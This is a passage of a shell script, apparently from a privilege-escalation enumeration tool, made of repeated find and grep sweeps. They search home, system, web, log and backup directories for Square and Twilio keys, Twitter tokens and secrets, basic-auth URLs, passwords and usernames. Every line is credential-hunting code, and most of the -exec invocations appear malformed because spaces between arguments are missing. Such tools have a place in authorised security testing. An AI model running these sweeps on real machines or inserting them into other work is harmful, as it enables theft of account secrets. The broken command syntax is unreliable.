timeout 120 find /private -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~sq0csp-[ 0-9A-Za-z_\-]{43}~${SED_RED}~"&
wait
print_3title "Searching Twilio API Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "SK[0-9a-fA-F]{32}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~SK[0-9a-fA-F]{32}~${SED_RED}~"&
wait
print_3title "Searching Twitter Client ID (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{18,25}~${SED_RED}~"&
wait
print_3title "Searching Twitter Oauth (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR].{0,30}['\"\\s][0-9a-zA-Z]{35,44}['\"\\s]~${SED_RED}~"&
wait
print_3title "Searching Twitter Secret Key (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~"&
wait
echo''
print_2title "Searching Misc"
print_3title "Searching Basic Auth (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "//(.+):(.+)@"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~//(.+):(.+)@~${SED_RED}~"&
wait
print_3title "Searching Passwords1 (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~"&
wait
print_3title "Searching Usernames (limited to 50)"
timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /etc -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /opt -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /tmp -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /private -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /Applications -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /var/www -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /var/log -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /private/var/log -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "username.*[=:].+"'{}'\; 2>/dev/null | sed '/^.\{150\}./d'| sort | uniq | head -n 50| sed -${E}"s~username.*[=:].+~${SED_RED}~"&
